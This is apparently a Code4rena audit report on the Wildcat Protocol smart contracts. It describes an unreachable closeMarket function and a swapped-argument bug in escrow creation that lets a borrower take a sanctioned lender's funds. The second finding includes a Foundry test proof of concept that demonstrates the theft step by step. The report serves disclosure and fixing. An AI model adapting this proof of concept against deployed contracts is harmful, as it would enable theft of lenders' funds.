The Wildcat Protocol - sl1's results

Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarket.sol#L142-L161

Vulnerability details

Impact

Market has a function closeMarket that terminates a vault. The vault APR is set to 0% and the borrower is required to make a full return of all outstanding assets. Borrower may want to exercise this function in an event of lenders not withdrawing their assets and the borrower paying to much interests. But in current implementation there is no way to call this function.

Proof of Concept

function closeMarket() external onlyController nonReentrant {
    MarketState memory state = _getUpdatedState();
    state.annualInterestBips = 0;
    state.isClosed = true;
    state.reserveRatioBips = 0;
    if (_withdrawalData.unpaidBatches.length() > 0) {
      revert CloseMarketWithUnpaidWithdrawals();
    }
    uint256 currentlyHeld = totalAssets();
    uint256 totalDebts = state.totalDebts();
    if (currentlyHeld < totalDebts) {
      // Transfer remaining debts from borrower
      asset.safeTransferFrom(borrower, address(this), totalDebts - currentlyHeld);
    } else if (currentlyHeld > totalDebts) {
      // Transfer excess assets to borrower
      asset.safeTransfer(borrower, currentlyHeld - totalDebts);
    }
    _writeState(state);
    emit MarketClosed(block.timestamp);
  }

closeMarket function has onlyController modifier, which means that it can only be called from a controller that deployed this market. In the controller contract there is no function that calls closeMarket, which means there is no way to close it. This will lead to borrower paying interest for assets that he does not need.

Tools Used

Manual review

Recommended Mitigation Steps

Implement a way to close market, or change the modifier to onlyBorrower, that way borrower will be able to call it directly and not from controller.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/WildcatSanctionsSentinel.sol#L95-L119 https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketBase.sol#L172-L175 https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketWithdrawals.sol#L166-L170

Vulnerability details

Impact

In event if lender gets sanctioned, borrower can call nukeFromOrbit to block him from interacting with market, which will transfer all of lender's market tokens to an escrow. Also if a lender tries to execute a withdrawal while being sanctioned, protocol will automatically block him and transfer all of his money to a newly created escrow. This functionality exists to ensure a sanctioned address won't poison everyone else. But in the current implementation if a lender gets sanctioned, borrower is able to steal all of his funds that are to be transferred to an escrow.

Proof of Concept

When lender gets blocked, an escrow is deployed through a function in WildcatSanctionsSentinel.sol:

function createEscrow(
    address borrower,
    address account,
    address asset
  ) public override returns (address escrowContract) {
    if (!IWildcatArchController(archController).isRegisteredMarket(msg.sender)) {
      revert NotRegisteredMarket();
    }

    escrowContract = getEscrowAddress(borrower, account, asset);

    if (escrowContract.codehash != bytes32(0)) return escrowContract;

    tmpEscrowParams = TmpEscrowParams(borrower, account, asset);

    new WildcatSanctionsEscrow{ salt: keccak256(abi.encode(borrower, account, asset)) }();

    emit NewSanctionsEscrow(borrower, account, asset);

    sanctionOverrides[borrower][escrowContract] = true;

    emit SanctionOverride(borrower, escrowContract);

    _resetTmpEscrowParams();
  }

createEscrow function takes 3 arguments: borrower, account, asset. This function is called in _blockAccount and executeWithdrawal but in both cases the order of arguments that are passed into this function is wrong.

address escrow = IWildcatSanctionsSentinel(sentinel).createEscrow(
          accountAddress,
          borrower,
          address(this)

As you can see, parameters that are used are actually: account, borrower, asset. In createEscrow those parameters are set like this:

 tmpEscrowParams = TmpEscrowParams(borrower, account, asset);

And retrieved in the escrow like this:

constructor() {
    sentinel = msg.sender;
    (borrower, account, asset) = WildcatSanctionsSentinel(sentinel).tmpEscrowParams();
  }

So the account parameter in escrow will actually be set to borrower, meaning funds that should be transferred back to lender in this function:

function releaseEscrow() public override {
    if (!canReleaseEscrow()) revert CanNotReleaseEscrow();

    uint256 amount = balance();

    IERC20(asset).transfer(account, amount);

    emit EscrowReleased(account, asset, amount);
  }
}

will be transferred to borrower.

Here is the PoC demonstrating this issue:

diff --git a/WildcatMarketConfig.t.sol.orig b/WildcatMarketConfig.t.sol
index 06f5fe5..d1c0832 100644
--- a/WildcatMarketConfig.t.sol.orig
+++ b/WildcatMarketConfig.t.sol
@@ -3,6 +3,8 @@ pragma solidity >=0.8.20;

 import 'src/interfaces/IMarketEventsAndErrors.sol';
 import '../BaseMarketTest.sol';
+import { WildcatSanctionsEscrow, IWildcatSanctionsEscrow } from 'src/WildcatSanctionsEscrow.sol';
+import {WildcatMarketController, IWildcatMarketController} from "src/WildcatMarketController.sol";

 contract WildcatMarketConfigTest is BaseMarketTest {
   function test_maximumDeposit(uint256 _depositAmount) external returns (uint256) {
@@ -87,6 +89,114 @@ contract WildcatMarketConfigTest is BaseMarketTest {
   //   market.grantAccountAuthorization(_account);
   // }

+  function test_BorrowerCanStealLendersDepositOfMarketToken() external {
+        address asset = market.asset();
+        // Alice deposits 1e18
+        _deposit(alice, 1e18);
+        assertEq(market.balanceOf(alice), 1e18);
+        // Alice gets sanctioned
+        sanctionsSentinel.sanction(alice);
+        // NukeFromOrbit is called
+        market.nukeFromOrbit(alice);
+        assertEq(market.balanceOf(alice), 0);
+
+        // Escrow is deployed to this address
+        address escrow = sanctionsSentinel.getEscrowAddress(
+            alice,
+            borrower,
+            address(market)
+        );
+        // Now all balance of alice is transferred to escrow
+        assertEq(market.balanceOf(escrow), 1e18);
+        // At this point balance of the borrower is 0
+        assertEq(market.balanceOf(borrower), 0);
+        // Release Escrow is called, which should:
+        // 1. Revert as alice is still sanctioned
+        // 2. If alice would not have been sanctioned, it should've transferred escrow balance to her
+        IWildcatSanctionsEscrow(escrow).releaseEscrow();
+        console.log("Escrow Balance", market.balanceOf(escrow));
+        console.log("Borrower Balance of Market tokens", market.balanceOf(borrower));
+        // Now all of the alice balance was transferred to borrower
+        assertEq(market.balanceOf(borrower), 1e18);
+        assertEq(market.balanceOf(alice), 0);
+
+        address controller = market.controller();
+        // Now borrower can withdraw her balance
+        vm.startPrank(borrower);
+        address[] memory lenders = new address[](1);
+        lenders[0] = borrower;
+        address[] memory markets = new address[](1);
+        markets[0] = address(market);
+        // Authorize borrower as a lender in order to withdraw
+        IWildcatMarketController(controller).authorizeLenders(lenders);
+        IWildcatMarketController(controller).updateLenderAuthorization(
+            borrower,
+            markets
+        );
+        uint256 balanceBorrower = IERC20(asset).balanceOf(borrower);
+        console.log("Balance of borrower before withdrawal", balanceBorrower);
+        market.queueWithdrawal(1e18);
+        uint256 batchDuration = market.withdrawalBatchDuration();
+        uint32 expiry = uint32(block.timestamp + batchDuration);
+        skip(batchDuration);
+        market.executeWithdrawal(borrower, expiry);
+        uint256 balanceBorrowerAfter = IERC20(asset).balanceOf(borrower);
+        assertEq(balanceBorrowerAfter, 1e18);
+        console.log(
+            "Balance of borrower after withdrawal",
+            balanceBorrowerAfter
+        );
+    }
+
+    function test_BorrowerCanStealLendersDepositOfUnderlying() external {
+        address asset = market.asset();
+        _deposit(alice, 1e18);
+        // address of the escrow that will be deployed for alice
+        address escrow = sanctionsSentinel.getEscrowAddress(
+            alice,
+            borrower,
+            asset
+        );
+        address[] memory lenders = new address[](1);
+        lenders[0] = alice;
+        address[] memory markets = new address[](1);
+        markets[0] = address(market);
+
+        // Sanction alice
+        sanctionsSentinel.sanction(alice);
+        vm.startPrank(alice);
+        // Alice queues a withdrawal
+        market.queueWithdrawal(1e18);
+        uint256 batchDuration = market.withdrawalBatchDuration();
+        uint32 expiry = uint32(block.timestamp + batchDuration);
+        skip(batchDuration);
+        // Because she is blocked, here balance is transferred to an escrow
+        market.executeWithdrawal(alice, expiry);
+        vm.stopPrank();
+
+        uint256 balanceOfEscrowBeforeRelease = IERC20(asset).balanceOf(escrow);
+        console.log("Balance Of Escrow", balanceOfEscrowBeforeRelease);
+        // Now releaseEscrow is called
+        // It should revert since Alice is still sanctioned
+        // And if she was not sanctioned, it should transfer the balance of underlying to her
+        vm.prank(borrower);
+        IWildcatSanctionsEscrow(escrow).releaseEscrow();
+        // Balance of escrow has been transferred
+        uint256 balanceOfEscrowAfterRelese = IERC20(asset).balanceOf(escrow);
+        console.log(
+            "Balance Of Escrow After Relese",
+            balanceOfEscrowAfterRelese
+        );
+        // But it was transferred to the borrower
+        uint256 balanceOfBorrowerAfterRelease = IERC20(asset).balanceOf(
+            borrower
+        );
+        console.log(
+            "Balance Of Borrower After Release",
+            balanceOfBorrowerAfterRelease
+        );
+    }
+
   function test_nukeFromOrbit(address _account) external {
     sanctionsSentinel.sanction(_account);

Please consider adding this to WildcatMarketConfig.t.sol and run it with "forge test --match-test 'test_BorrowerCanSteal' -vv".

Tools Used

Manual review.

Recommended Mitigation Steps

When calling createEscrow ensure that order of arguments passed into a function is correct.

Assessed type

Other